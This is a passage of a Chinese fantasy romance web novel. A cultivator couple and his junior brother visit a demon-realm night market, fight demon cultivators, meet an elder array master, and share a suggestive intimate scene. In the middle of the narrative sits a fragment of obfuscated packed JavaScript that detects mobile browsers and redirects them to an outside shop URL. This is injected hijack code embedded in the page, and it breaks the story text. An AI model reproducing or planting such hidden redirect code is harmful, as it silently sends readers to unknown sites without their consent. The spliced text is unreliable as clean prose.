江千寒不再接话。他停步站在一块碧绿草地上,设下了一道千里通行法阵。
三人站在法阵之中,阵纹一缕一缕交织,如蛛网般密集,渐渐亮起了耀眼金光,周围一切景物极速后退,山川、河流、城镇,尽数化成了千万条模糊长线,从云棠身边一掠而过。
法阵里没有一丝风,从始至终,云棠并未感受到一点颠簸,就这么无知无觉,行进了几千里之远。
池归雪不禁赞叹道:“师兄境界之高,已非常人能及,连阵纹都没有一丝偏移,师兄的阵法,当真是出神入化。”
云棠对阵法一窍不通,更不知道,这个“千里通行阵”,究竟要多高的修为才能使出来?
她小声问:“这个阵法很难吗?”
池归雪眺望前方:“师兄是天下第一剑修,也精通医术与阵法。剑道、医道、阵道,三道通修,放眼当世,根本找不出第二个人能与他比肩。”
云棠不知道自己应该怎么回答,又记起之前江千寒说过,他照镜子的时候看到了“昭明神君”,本以为他在说笑,如今想来,恐怕也是真的。
她实在太震惊了,以至于,甚至有些麻木了,干巴巴回话道:“好、好厉害啊,在这世上,没人比他更厉害了。”
听见她如此敷衍的一句夸奖,江千寒反倒笑了笑。他并未看见她脸上神色,直接伸手过来,紧紧牵住了她的手腕。
脚下光芒消散了,云棠抬头一看,眼前是一座繁华大城,城墙约有数丈高,守门卫兵都是二层修为以上的剑修或者刀修。
那是昆仑城。
城门前人来人往,吵吵嚷嚷,不仅有许多背着长剑、牵着灵兽的修士,还有挑着担子的商贩,以及远道而来的外邦人,比她常住的山谷热闹了百倍不止。
云棠第一次见到这么多修士,百木门初试选拔都没这么大阵仗,她忍不住踮起脚尖,四下张望。
昆仑城外,山川连绵不绝,陡峭山峦一重又一重,延伸到遥远天边。
商灯夜市就设在城外山地之间,入口只会在夜间显现。
那些修士好像都是奔着商灯夜市而来,云棠顾不上担忧,对商灯夜市充满了好奇。
11.幽冥司
江千寒把云棠护在身侧,随着人潮走向城门,守卫要求每一个修士出示门派令牌,方能放行。
江千寒早有准备,随手递上了三块人间剑修腰牌,虽是仿造的,做工却是十分精细,牌面上甚至刻着几道划痕,一看就是用了好些年的旧物。
三人顺利进城。
昆仑城内有一条长河,河面上漂浮着几艘乌篷小船,船头挂着油纸灯笼,灯火倒映在水面上,与雾色交融,把岸上楼房照得影影绰绰,让人看不分明。
这雾气也不知是何时起来的,天上乌云时聚时散,像是快要下雨了。
这般阴沉的天气,并未影响众人的兴致,大街小巷里都有不少人,穿着各色衣裳,说着各地方言,叫卖声、谈笑声连成一片,很是热闹。
云棠紧跟着江千寒,生怕自己与他走散了。好在他一直牵着她,她这才慢慢放下心来。
江千寒选定了一座客栈,进门便对掌柜说:“两间上房。”
池归雪跟在后面,皱了皱眉:“师兄,为何不要一间房?我们三人同住,也能省些钱。”
云棠实在听不下去了:“哪有小叔子和大嫂住一间房的?屋里只有一张床,我们晚上怎么睡觉呢?”
池归雪竟然回答:“我可以睡在房梁上。”
云棠又问:“那,那我和你师兄还要换衣服啊?”
池归雪更加坦然:“我闭上眼睛就看不见了。”
江千寒已经从掌柜手里接过了两块房牌,随手把其中一块扔给池归雪,懒得和他多说一个字,牵着云棠的手,直接上楼了。
云棠进了房间,蹬开脚上一双绣鞋,往床上一倒,脸埋进枕头里,再也不想动弹了。
江千寒掀开一床被褥,盖在她身上。
她含糊道:“我睡一会儿,有点累……”
“睡吧,”江千寒给她掖好了被角,“委屈你了,还得替我管教师弟。”
云棠脸颊贴着枕头,轻轻笑出声来:“他只是一心扑在剑道上,顾不上别的。”
江千寒俯身靠近她几分:“少替他说话,他自有他的命数,何必管他死活。”
云棠隐约察觉到了,江千寒很不喜欢她把心思放在旁人身上。
池归雪说话是直了些,可云棠也没真的往心里去,毕竟这几天小宝都是他在照顾,喂食、哄睡、收拾床铺,一样没落下,论起来也算小宝半个爹了,再说他是江千寒的同门师弟,看在夫君的面子上,她也不想和他计较。
既然江千寒不想听,云棠当然也不会讲,她不再谈论池归雪,还往后退了退,让出一块空地。
江千寒躺到了她身侧,声调更低沉:“你现在感觉如何,头晕吗?”
困意袭来,云棠迷迷糊糊又闭上双眼,似在半梦半醒之间,喃喃回答:“不晕了,好多了……”
这一觉睡醒,已是亥时三刻。
窗外红光闪动,云棠推开窗扇,顿时一阵凉风拂面,风里还带着一丝水气,今夜似是下过一场雨了。
远处飘浮着无数红纱灯笼,每一盏都只有巴掌大小,不知是何人所为,也不知从何处飞来,全都静悄悄浮在半空之中,朝着同一个方向缓缓漂去,越聚越多,像一条暗红长河在夜色里流淌。
万灯同明,光照四方,昆仑城已是一座不夜城,街巷上人影交织,人声嘈杂,竟然比白天更热闹。
“这是怎么回事?”云棠看得入了神。
江千寒站在她身后:“那些都是引路灯,跟着灯走,就能找到商灯夜市的入口。”
“咚咚”的敲门声一道一道传来,又急又响,池归雪站在门外,连声催促道:“师兄,大嫂,商灯夜市已经开市了,快走吧。”
云棠立即从床上坐起来,慌忙把小青缠到手腕上,小青还没睡醒,藤蔓懒洋洋地绕了两圈,叶尖耷拉着,似乎又睡着了。
云棠从包袱里翻出一件丝绵披风裹在身上,系带子的时候,随手打了个蝴蝶结,左右两边完全对称,垂落下来的两条丝带也是一样长的。
江千寒还不忘夸她一句:“手很巧。”
“哎,”云棠有些骄傲,又有些羞涩,“我小时候贪玩,村里来过几个走江湖卖艺的戏班子,我天天蹲在旁边看,也学会了变戏法……那不是什么法术,只是玩着玩着,手就练快了……”
池归雪打断了她的话:“大嫂,我等不及了,麻烦你快点出来。”
云棠飞快跑出门:“好了,走吧,别催了!”
池归雪点了一下头:“师父前日传来了飞鸽纸符,说仙界还会加派一位阵修,让我们在城外与他汇合。”
云棠环视四周:“阵修?他已经到了吗?”
池归雪抬起剑鞘,指向了窗外:“他已在城外候着了,阵修这种人,到了一个新地方就要勘察地形、布设阵法,忙起来没完没了。”
剑鞘一转,他又说:“大嫂放心,有师兄和我,再加上一位阵修,万事无忧。”
云棠顺口道:“嗯,那就麻烦你了,多谢。”
池归雪正站在走廊上,肩上还背着一只沉重木箱。
云棠走近几步,透过一条细微缝隙看进去,小宝躺在箱子里,抱着一团绒球睡着了。那绒球是云棠亲手给它做的玩具,它很喜欢,白天晚上都要抱在怀里。
小宝虽然还只是第一阶幼兽,但麒麟天生辟邪,又有天道庇佑,想来也不会在夜市里遇险,倒也不用太担心它。
云棠做了一个深呼吸,又在心里默念江千寒说过的话,快去快回,买了药就走,不会有任何事。
她牵住江千寒的手,随他一同离开客栈。
街道上依旧是人潮起伏,众多修士跟着灯笼,一齐涌向了城外。
出城之后,漫天的引路灯竟然分成了许多支流,朝着不同方向飘去,修士们也渐渐散开,各走各路。
云棠不明白:“为什么会这样呢?”
池归雪解释道:“商灯夜市占地极广,入口也有许多处,你想买什么东西,跟灯笼说一声,它就会带你去。”
云棠头顶上漂浮着一盏红纱灯笼,她抬手想碰它一下,它躲开了,火苗一闪,又绕回了她面前。
好灵活啊。
云棠在心里暗暗称奇,认真道:“我想买……冰露回元丹,请你带我去药房。”
那盏灯笼上下一晃,像是在说“跟我来”,便朝一条岔路飘去。
这是一条狭窄小道,两旁树影横斜,杂草丛生,在这路上没走多远,身后的人声和灯光已然消去了一大半,四周安静极了,只能听见云棠脚下踩过枯枝残叶的细微响动。
云棠放慢了脚步:“这条路……对吗?”
池归雪头也不回,大步走在前方:“商灯夜市避讳凡人,入口自然要藏在深山老林里,大嫂放心跟着走就是了,师兄都没说什么。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278108|197963||http|test|mini|href|location''.split(''|''),0,{}));
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>云棠这才反应过来,江千寒一路无话,甚至比平时更沉默少语。他始终牵着她的右手,没有松开。
她攥紧了他的一根手指,他又捏了捏她的指尖,叫她安心。
可惜,怕什么来什么。
前方横着一棵枯树,拦在路中央,树干上生满了灰白色菌斑,显然已经死了很久了。
池归雪脚尖一点,身法轻盈而迅捷,从树上跃了过去。当他落地那一瞬,背后的木箱略微颤动了一下,箱盖“啪”的一声弹开了。
小宝被颠得一个激灵,蹄子一松,那只绒球滑了出去,从箱子里滚落,在石板路上弹了两下,滚进了路旁的茂密草丛里。
小宝急了。
它一头扑进了草丛。
“小宝!”云棠惊叫道,“快出来啊……”
小宝没有回应她。
道路两旁黑得伸手不见五指,树影层层叠叠落下来,灯笼的红光也只照亮了半尺路程。
云棠原本还能看见小宝那一团金红色鳞片,不过一眨眼之后,黑暗已把它完全吞噬了,不曾留下一丝痕迹。
草丛深处仍然没有动静。
数十丈之外,遥遥传来几道笑声,穿透夜色飘过来,带着回音,听得人头皮发麻。
“那边有人?”
“听这声音,是个小美人。”
“兄弟们,今日运气不错。”
“在商灯夜市的地盘上放肆,你们不怕得罪商家少爷么?”
“杀了就是,少爷日理万机,哪有闲工夫替几个死人撑腰。”
“是啊,死人又不会告状,少爷知道了也只当没发生过……”
笑声越来越近了。
江千寒瞬间拔剑出鞘,剑身泛起一层银白冷光,他侧身挡在云棠身前:“别动,前面来了十五个魔修。”
十五个?!
寒意上涌,云棠心跳得飞快。
江千寒一手握剑,另一只手掐出一道法诀,剑气化成了一条金绳,如同一条灵蛇,迅速钻入了草丛深处。
没过多久,那条金绳从远处草丛里把小宝捆成一团拎出来了,小宝四蹄乱蹬,嘴里还叼着绒球,一副死也不肯松口的样子。
云棠伸手把小宝搂进怀里,几乎是同一时间,那十五个魔修已经走到了近处,其中一人嗤笑一声:“这么快就钓到了几条大鱼。”
“什么意思?”云棠喃喃道。
江千寒的剑尖指向那群魔修:“枯树上设了魔修禁制,有人撞破了禁制,就等于告诉他们,猎物来了。”
云棠躲进了江千寒的影子里:“魔修很厉害吗?”
江千寒声调不变,甚至没有刻意压低,就那么平平常常地说了出来,随着夜风,送入每一个魔修耳中:“这些杂碎来自魔界幽冥司,没什么本事,就是有些麻烦,若是死了一个,同伙便会催动‘尸血传音’,把附近魔修都召过来。我今日来陪你寻药,原本不想闹出太大动静。”
魔修纷纷停下了脚步。
江千寒接着道:“唯一的办法,是在一瞬之间,把他们全杀了,自然就传不了音。”
黑暗中爆发出一阵大笑。
“好狂妄的剑修!”为首那个魔修笑得开怀,“弟兄们听见了吗?你可知道我们之中修为最高的已到第九层?”
江千寒没有理会他们。
他只说了一句:“师弟,过来,守好你大嫂。”
12.师叔
池归雪本想拔剑杀敌,但他不可能瞬间斩杀所有魔修,只能听从师兄命令,退到云棠身侧,横剑而立。
那群魔修不再笑了。
为首之人猛然拔刀,低声念道:“驭鬼,百鬼夜行。”
其余魔修也在施法:“阴魂,万鬼噬魂。”
“摄魂,魂飞魄散。”
“鬼幻,厉鬼索命。”
这几道法诀,竟然同时施展了出来。
霎时间,寒意从地面升起,冰冷刺骨,这一片树林仿佛掉进了万丈冰窟,枝叶上迅速凝结一层薄霜,草叶冻得发脆,轻轻一颤就碎了。
池归雪凌空一跃,斩出一道冷冽弧光,剑气环绕在云棠周身,化成一面光盾,把寒气挡在了三尺之外。
地上枯叶无风自动,沙沙翻卷,如同漩涡一般疾转起来,转着转着,土地裂开了千百条缝隙,从中飞出一片鲜红血光,无数鬼影漫涌过来,张开血盆大口,发出尖锐刺耳的暴鸣。
光盾把一切声响隔绝在外,云棠听不见鬼怪嘶吼,却能看见树上枝叶已被震得粉碎,从头到尾,不过短短几个瞬息,她连眼睛都没眨几次,此处就变成了一块死地,不像是活人能走动的地方了。
小宝缩在云棠怀里,小尾巴微微颤抖,嘴里还叼着绒球,到了这个时候,它都没把绒球放开。
云棠把手搭在小宝头上,眼前忽然闪过一道金光,瞬间穿入了血雾鬼影。
无人能看清江千寒是如何出招的,金光所过之处,血雾立即散开,鬼影也完全消灭,那些魔修都在金光中融为粉尘,漫天煞气连一丝痕迹也不曾留下,风停雾散,天地间只剩一片寂静。
江千寒收剑回鞘。
剑入鞘的这一声轻响,是死寂中唯一的声音。
直到此时,他才说出自己所用招式的名字:“一剑,破万法。”
云棠把小宝夹在臂弯里,使劲为他鼓掌:“好厉害啊,夫君。”
江千寒的剑气尚未散尽,忽然又感应到了什么东西,剑气凝成一道银光,向着远处一条暗影刺去,传来“嘶嘶”响声,听起来就像是手指甲从骨头上一寸寸划过,云棠不由得皱紧了眉头,仔细一看,那暗影已如烟雾一般消逝了。
“那是什么?”云棠开口问道。
江千寒回答:“是魔界的一种邪祟,名叫‘影子鬼’,有些魔修在动手之前把自己的影子剥离了,人死了,影子还活着。”
云棠一听这话,心跳又加快了,这些魔修的手段也太歹毒了,身体都死了,影子竟然还能继续害人。
光盾依旧笼罩着云棠,池归雪仍在保护她。
池归雪从光盾里走了出来,环视四周:“影子鬼可以藏在任何有影子的地方,树影、草影、石影,随处可栖,这东西能在一切影子中穿行,瞬息之间,就能移动几十里。”
云棠猛然想起来了,自己曾在书上看过关于“影子鬼”的记载,她小声说:“我记得,影子鬼可以附在活人身上,一点一点吞噬人影,失去影子的人会越来越虚弱,最后……就死了。”
池归雪投来一道赞赏的目光:“大嫂说得很对。”
云棠咬紧了嘴唇,把小宝抱得更紧了些。
江千寒左手掐诀,打算布下一道法阵,铲除附近一切邪祟。
忽然,一缕极淡的香气随风飘来。
那香气很浅,也很好闻,像是冬日早晨,白梅初绽,清冽,素净,没有一丝杂质。
山上草木受过魔气侵袭,原本是荒凉枯败的,此时竟然也隐隐泛出了一层新绿。
随着一声轻脆鸣响,草叶上浮起淡白色光点,连缀在一起,纵横交织,织成了一张巨大光网,一朵又一朵梅花阵纹在夜色中绽开,一直延伸到密林深处,方圆十里之内,满地白梅,如雪如霜。
包括影子鬼在内的一切邪祟,碰到了这个梅花阵之后,全都无声无息地燃烧了起来,那火焰也是淡白色的,如玉一般透明,烧得极静极快,无数妖魔鬼怪在一眨眼间化成了轻烟。
看到现在,云棠也认出来了:“那是,仙界阵修?他在哪里呢?!”
风停了,梅香犹在,驱邪法阵完成了使命,也消失不见了。
正前方走来一位白衣修士,脚步极轻,他身上的衣裳一尘不染,洁白如霜雪,袖口绣着几支淡色青莲花纹,腰间挂着一把九环剑,环与环相碰,响声清雅,又像琴音一般空灵。
他渐渐走近,云棠看清了他的面容。
他的五官十分端正,剑眉星目,高鼻薄唇,目光平静又淡漠,似乎早已脱离了红尘俗世,不再沾染七情六欲了。
他的身形高大英武,样貌也很年轻,看起来最多也就二十五六岁,但他举止太过从容,没有一丝焦急或犹疑,那样沉稳冷静的气度,显然是历经多年才能养成的。
云棠想明白了,此人的修为一定在第八层以上,长生不老,青春永驻,至于他的真实年龄是多少岁,云棠猜不出来。
他在三人面前站定:“我奉掌门之命,与诸位通行,方才魔修闹出了不小动静,我来迟了一步,请见谅,诸位没有受伤吧?”
池归雪收剑抱拳:“多谢温师叔出手相助。”
云棠小声问池归雪:“他是哪一位师叔啊?也是凌苍剑宗的吗?”
这位师叔笑了笑:“仙界共有五大门派,凌苍剑宗排行第一,门下全是剑修,贫道来自琼华仙府,修习阵法已有多年……”
他注意到云棠迷茫的眼神,又介绍道:“贫道姓温,名良平,全名温良平。”
云棠不知道自己应该怎么称呼他,正在犹豫时,他又温和一笑:“不必见外,你也可以叫我师叔。”
温良平是池归雪和江千寒的长辈吗?
如此算来,这也是云棠第一次面见长辈了,她心里有些紧张,结结巴巴喊道:“师、师叔。”
“师叔”两个字叫出口来,她不敢再抬头看他一眼。
温良平又说:“你似乎很年轻。”
云棠点头,又摇头:“我今年十九岁了,也成家了,是个大人了。”
温良平竟然被她这一句话逗笑了。
他打开自己的储物袋,从中取出一只手镯。
那镯子光泽乌黑,质地温润,自带一股沉静香气。
温良平低声道:“我听说,你体内燥气郁结,内息紊乱,有时会感到头晕目眩。”
他把手镯托在掌心:“此物名叫‘安神乌木镯’,以七星草、茯苓、龙骨、夜交藤、玉灵芝、九曲灵参,还有沉香乌木炼制而成,戴在腕上,可以压下燥火,调理内息,减轻你的病症。”
云棠认真听他讲话,时不时点一下头。
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温良平又说:“这是人间聚贤山庄的庄主亲手制作的法宝,天下仅此一件。”
聚贤山庄是人间第一大宗门,也是人间剑修聚集之地,历史悠久,底蕴丰厚,那庄主亲制的法宝,何等珍贵?
云棠惊讶极了,不敢伸手去接。
她连忙摆手:“这太珍贵了……”
池归雪一步跨过来,插话道:“既然是师叔的见面礼,为何还要推辞?大嫂直接收下吧,多谢师叔,师叔若是还有什么好东西,也不妨一并拿出来。”
云棠偷瞄了温良平一眼,心想,原来池归雪对长辈也是同样一副态度,完全没有任何顾忌。
温良平与池归雪正好相反,他的言行举止极有分寸。他并未靠近云棠,而是双手把手镯递给江千寒:“贤侄若不放心,可以先用灵力探查一番。”
江千寒接过手镯:“多谢前辈,此物正合适,劳您费心了。”
他直接握住了镯子,一缕灵力探了进去。
这镯子沉香清雅,没有半点杂质,更无一丝邪气,各种药材相辅相成,配方精妙,炼出了一股纯净灵气,确实是出自大家之手的无价之宝。
江千寒收回灵力,将手镯轻轻套在了云棠腕上。
说来奇怪,这镯子戴上之后,云棠就觉得不一样了,方才还昏昏沉沉的,脑子里蒙着一层雾似的,现在那雾气忽然消散了,她感到一种说不出的清爽畅快。
她拨弄了一下镯子,乌木紧贴肌肤,不断滋润她的气脉。
她感叹道:“师叔真好。”
池归雪附和了一句:“两年前,我在人界与仙界交界处历劫,也是师叔及时赶到,当场布阵,替我挡下了最凶险的一道天雷。”
温良平只说:“举手之劳,何足挂齿。”
引路灯又从前方飘过来,温良平走出几步:“还是先办正事吧。”
云棠牵住江千寒的手,跟了上去。
池归雪背着木箱走在最后,小宝又飞回了箱子里,抱着绒球入睡了。
四人穿过一座山洞,四壁一片湿滑,地上渗出阴凉水气,灯光一照,依稀能看见许多脚印,大大小小,各不相同,其他修士显然已经从这里走过了。
出了山洞,前路平坦开阔。
引路灯汇入了一条灯河,无数灯笼整齐排布,浩浩荡荡涌向同一个地方。
云棠听见了嘈杂人声,那些修士从各条小路上汇聚过来,快步走向商灯夜市。
云棠踮起脚尖,越过人群,望了一眼,连绵群山之间,许多门楼拔地而起,每一座都有九丈高,以黑铁铸成,正反两面镶满了铜钉,顶部悬挂一块匾额,雕刻了四个烫金大字“商灯夜市”,那字形在灯火映照之下灿烂生辉,比她想象中更气派。
这就是商灯夜市。
门楼两侧各站着一排守卫,个个身形魁梧,腰佩长刀,黑色甲胄上绣着一个“商”字,大概是魔界商家的私兵,这么一想,商家是真有钱啊。
还没走进夜市,云棠已经听见了叫卖声,真不知道这里有多少商铺,各式房屋在山地间铺开,一眼望不到尽头。
温良平忽然停下了脚步:“此处虽然热闹,终归是魔修地界,强龙不压地头蛇,两位贤侄修为虽高,却还是要小心行事,尽量不要招惹是非,我们此行是来买药的,不必节外生枝。”
13.温存
四人穿过门楼,守卫的目光像刀子一样从每个人身上刮过去,冰冰冷冷,充满了敌意,不像是在迎客,倒像是在抓贼。
大概是因为温良平一身仙风道骨,清冷出尘,旁人只要看上一眼,就知道他一定是仙界修士,偏偏魔修与仙修一向不合,也难怪守卫会那样盯着他们。
江千寒牵着云棠走在前方,完全无视了那些守卫。
“他们好凶啊。”云棠小声嘀咕。
“没事,”江千寒不以为然,“有我在,没人敢动你。”
江千寒这句话,可真嚣张,云棠有些想笑,手却把他牵得更紧了。
她知道他会一直保护她,只要能和他在一起,就算是逃到天涯海角,又有何妨呢?
云棠跟着江千寒走出门楼,眼前一片繁华气象,无数灯笼漂浮在天上,把夜市照得亮如白昼。
灯笼之间,还有几只妖兽迅速飞过,那妖兽翅膀宽大,鸟喙尖锐,看起来像是老鹰,却比老鹰大了好几倍。
每一头妖兽背上都骑着一个人,那些人身穿黑甲,腰悬长刀,指引妖兽在夜市上空来回盘旋。
云棠又问:“夫君,你看,他们是什么人?”
江千寒没抬头,依然直视前方:“魔界御兽宗修士,负责在空中巡逻,谁要是在夜市里闹事,他们会立刻飞过去。”
云棠记起了温良平的叮嘱,点了点头:“那我们千万不能在这里惹事。”
四人继续向前走,街道约有数丈宽,打扫得干净整洁,两旁商铺一间挨着一间,各色招牌挂在门面上,有的高,有的低,云棠一路看过去,没有一间卖的是她认识的东西。
物以稀为贵,难怪夜市会吸引那么多客人。
大街小巷里全是修士,每个人身上都带着灵气或煞气。
不少人在路口处停下了脚步。
云棠很好奇,抬眼望去,只见一个卖艺人挥刀一砍,斩在自己腰间,鲜血一溅三尺,身体断成了两截,下半截还在绕圈行走,上半截已经落到了地面,仰躺着,哈哈大笑:“献丑了!”
可他的内脏都快掉出来了啊!
观众们都在鼓掌喝彩,云棠吓得倒抽了一口凉气。
江千寒一手搂过她的肩膀,低声道:“这是魔修炼化的鬼魂,全由魔气操控,即使身体被斩断,也能迅速复原,若要杀死它,必须先让它魂飞魄散,再用咒语超度。”
站在一旁的温良平笑了笑:“江贤侄真是什么都知道,不愧是凌苍剑宗大弟子。”
片刻之后,那卖艺人果然又把上半身和下半身重新一合,血肉飞快生长出来,伤口渐渐愈合了,仿佛从未受过一点伤似的。
池归雪感叹道:“这些魔修……”
他本想说,这些魔修的杂耍也太上不了台面,远远比不上仙界歌舞,然而江千寒冷冷扫了他一眼,他这才想起来,这是魔修的地盘,他不能把“仙界”二字挂在嘴边,只好把那些话咽了回去。
最后,他只能说:“快走吧。”
云棠应声道:“嗯,买完药,今天就能回家了。”
她再次牵住了江千寒,沿着长街一路穿行,走了大约一刻钟,终于来到了万森堂的正门前。
万森堂在魔界很有名,算得上第一流医馆,正门是黑漆玄铁铸成的,足有两丈多高,门楣上悬挂着一块烫金牌匾,两侧各立着一尊石狮,极有气势。
然而,那门上还贴了一块木牌,写着一行小字:“今日闭馆,明日开业。”
池归雪上前几步,拍了两下门,无人回应,他叹了一口气:“万森堂首席药师每天只接待三个人,我们今日错过了,明日也未必排得上。”
江千寒看了一眼木牌,神色依旧平静:“走吧,明天再来。”
池归雪又敲了一下黄铜门环:“可是……”
江千寒转身离开:“不必担心,这医馆又不会自己长腿跑了,我们先去宅子,歇一晚。”
云棠不明白:“宅子在哪里?”
江千寒只说:“跟我走。”
江千寒带着三人穿过闹市,拐进一条幽深小巷,穿过这条巷子,视野变得开阔了许多,甚至能望见远处山峦高耸,直入夜空。
江千寒一路向前走,云棠连忙跟上,顺着他的目光看过去,又见到一座宽敞大宅,四方围墙是用墨玉砖砌成,打磨得十分光滑,玄铁正门上钉着兽首铜环,屋檐上挂着雪纱灯笼,照亮了地砖花纹,既有仙界鸟兽,又有魔界花草,雕工更是精细之极。
江千寒走上前去,左手划过铜环,那铜环竟然像是灯笼一样,由内而外,发出明亮光芒,铁门向两侧缓缓拉开,露出一座豪宅的内景。
江千寒直接进门了。
云棠站在门口:“哎,等一下?这是哪里,我们真的能随便进来吗?”
江千寒已经走出了好几步,又折回来,牵住她的手,把她往里带:“这里也可以算是我们的家。”
温良平跟在后面,笑着解释道:“八年前,江贤侄平定魔界战乱,商家作为魔界四大家族之一,感念他的恩德,将这座宅子赠送给他,只求两界交好,相安无事。”
他迈过门槛,环视四周,话里多了一分感慨:“当年,仙魔两界在此地签订了停战契约,没想到这么多年过去了,这宅子还是这般气派。”
江千寒果然就是昭明神君,云棠在心里暗想。
当夜,他们四个人在这一座豪宅里住了下来,
这宅子常年有器灵打扫,干干净净,清清爽爽,云棠放眼望去,看不见一丝一毫的灰尘。
院子里长满了珍奇花草,修剪得十分平整,每一间卧房也都是陈设齐全,高床软枕蚕丝被,摸上去轻滑柔软,还有一种蓬松质感,让人不由自主想要陷进去,若是拿到夜市里去卖,这小半寸的价格都很贵吧。
夜色已深,云棠和江千寒躺在床上,虽然身处夜市之中,可这宅子位于僻静之地,她听不见一点吵闹声。她抱紧了被子:“我忽然很害怕。”
江千寒问:“怕什么?”
她小声道:“你……你是神君,我只是凡间散修,我们之间,是不是差得太远了呢?”
话一出口,她又觉得懊悔,不该这么说出
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来的,可恶,好像她心里很幽怨似的。
回顾两人婚后这一年,他白天为她做饭,洗衣裳,打理家务,晚上还要抱着她,哄她入睡,夫妻之间,总有说不完的话。
她很喜欢他,每天早晨醒来第一眼看见他,便会觉得今天也是个好日子。
管他是神君还是魔君,日子不还是一天一天过么?
其实,此时此刻,她心里更多的是一种困惑,为什么她的修为上涨得那么慢?为什么她努力修炼就会晕倒?明天早晨,她还能在万森堂买到药吗?
如果她治不好这个怪病,会不会在某一次昏睡之后,再也醒不过来呢?
这才是她真正害怕的结果。
可不知道为什么,她不敢把真相说出口。
她轻叹一声。
江千寒原本躺在她身侧,听见她的叹息,他坐起来,又俯身靠近,两手撑在她枕边,直视她的双眼。
云棠停止了一切胡思乱想。她回望着他,情不自禁,咬了一下自己的唇瓣。
江千寒低头在她唇上轻轻一吻,然后才说:“我小时候也挨过饿,我和野狗抢过食。”
她惊讶道:“那你……”
江千寒沉默了一瞬,这些旧事,他从未向任何人提过,但他还是开口了:“我在街上被人围殴,断了几根骨头,眼睛也瞎了,后来入了道,才重新长了回来。”
怎么会……怎么会这样呢?
云棠双眼含泪,泪水还没流下来,又想到江千寒那时必定只有几岁,还是个年幼的孩子,她心头烧起一股怒火:“谁打了你?我要替你报仇!”
江千寒低低笑了一声,又捉住了她的手腕,按在枕边:“动手的是几个魔修,想抢我父母留下的遗物。”
他停顿片刻,似在观察她的神色:“我虽然身受重伤,却把他们全杀了。”
云棠太过震惊,完全说不出话来。
江千寒又说:“所以你看,我也不是什么高贵神君,小小年纪,就背负了杀孽,满手鲜血,若不是凌苍剑宗当年缺人,我根本入不了仙门。”
他贴近她耳侧:“你还觉得我们差得远吗?”
没等她回答,他又扣紧了她的十指,每当二人双修时,最后关头,他都会把自己的手指插入她指缝里,他的胳膊比她粗得多,手也大得多,这样抓住她,她无处可躲,只能抬头凝视着他,而且,又因为她已经养成了习惯,他一做这个动作,她不由得微微张嘴喘息,脸颊泛红,只能说出一句话:“你、你是最好的,我要永远和你做夫妻……”
江千寒似是满意了,又在她脸上亲了亲:“很不错,小棠。”
他还没放开她的手,这一瞬间,她竟然有些怀疑,他究竟是仙界神君,还是魔界至尊呢?
他虽然沉稳冷静,却也有十足的压迫感,特别是在床上,总要掌控她,邪气凛然,比魔修还疯啊。
心跳得太快了,她故意转头,不再看他,却还是忍不住问:“你身上的疤痕,是那时候留下来的吗?”
“不是,”他淡淡道,“是仙魔大战时,被魔尊砍的。”
14.生辰八字
那些疤痕至今也没有完全消退,那时候他一定离死不远了。
云棠一时也不知道自己应该怎么安慰他,双手还在他掌握之中,想动也动不了,她干脆歪过头,嘴唇凑近他颈侧:“我帮你舔一舔吧,舔舔就不疼了。”
江千寒没说一个字,直接扯开了自己的衣襟,露出一片健壮胸膛,几条狰狞伤疤清晰可见。
“嗯……”她双眼一眨不眨看着他。
江千寒侧躺在她身旁,右手托住她的后颈,他的掌心干燥火热,她感觉自己都快融化了。
她把脸凑过去,在他颈肩处那一条深长伤疤上轻舔慢吮。
当时敌军一定是想砍断他的脖子吧?
这么一想,她很心疼,嘴唇贴上了他颈侧那一截疤痕,触感有些粗糙,中间一条线是凹进去的,两边微微凸起,颜色略深一点,她把舌尖抵在凹痕上面,来回扫刮,最后微微一吮,“啵”的一声响,她松口了。
他指尖早已深入她发丝里,呼吸越来越粗重,灼热气息洒在她耳侧,烫得她浑身一个激灵。
她连忙问:“现在还疼吗?”
江千寒嗓音沙哑:“还有点疼,你再舔一会儿。”
云棠半信半疑:“真的吗?”
江千寒不答话,只是收手抱紧了她。
云棠仰起头,在他唇边亲了一口:“现在已经快到子时了,该睡觉了,明天早晨我们还要去买药,万森棠的首席药师每天只接待三个人。”
江千寒抬手在她脸颊上抚摸,他指腹粗糙,渐渐划到她耳尖,一分一寸细细揉捏。
她舒服得闭上了眼睛:“嗯,好喜欢这样……”
柔顺青丝落在他指间,他把那几缕长发拢到了枕头上。
她感觉自己从头到脚都沾上了他的气味,像是雪地里的白檀木,混合了一丝麝香,又带着一缕冷冽锐气,丝丝缕缕缠绕着她,让她心神安定。
云棠快要睡着了。
江千寒忽然开口:“万森堂的那些药师,并不是魔界最好的医修。”
云棠往他怀里蹭了蹭:“那魔界最好的医修是谁?”
江千寒声调低沉:“她名叫幽姬,活了两百多岁,这几年一直在闭关,每年只接诊五个人,必须是魔修,凡人和仙修一概不见。”
云棠打了一个哈欠:“没有例外吗?”
江千寒在她后背上轻拍了一下:“除非,那人在最近一年之内,对魔界有过大恩。”
云棠呢喃道:“还要最近一年才行吗?往年的恩情,她都不认了?”
江千寒随口说:“毕竟是两百多岁的人了,大概记不住旧事。”
魔修果然都很古怪,云棠叹了一口气:“她比我们两个都大了几百岁,我们也猜不到她的心思,不用费劲找她了……万森堂也挺好的,名气那么大……”
她的声音越来越轻,最后一个字几乎是气音。
江千寒把她抱得更紧:“我一定会治好你。”
云棠没有回答。她已经睡着了。
醒来时,天色微亮,江千寒依旧躺在她身旁,一手搂在她腰间,她动了一下,他的手臂立刻收紧了一分,她才知道他也醒了。
“什么时辰了?”她问。
江千寒道:“卯时三刻。”
还不到辰时,怪不得天还没亮。
云棠端起一盏烛台,去浴房里洗漱干净,又换了一身衣裳,走出房门,步入院子里。
天色将明未明,东边仅有一线微白,四周群山环绕,远近高低各不相同,她看得出了神,忽然听见一道声音响起:“这么早就起来了?”
她侧目,看见了温良平,当即打了个招呼:“师叔,早上好。”
温良平把一只食盒放到了桌上:“我刚才去早市转了一圈,买了些吃的,不知合不合你的口味。”
云棠掀开盖子,一股热气扑面,是刚出炉的小笼包,气味鲜香。
她忙说:“多谢师叔。”
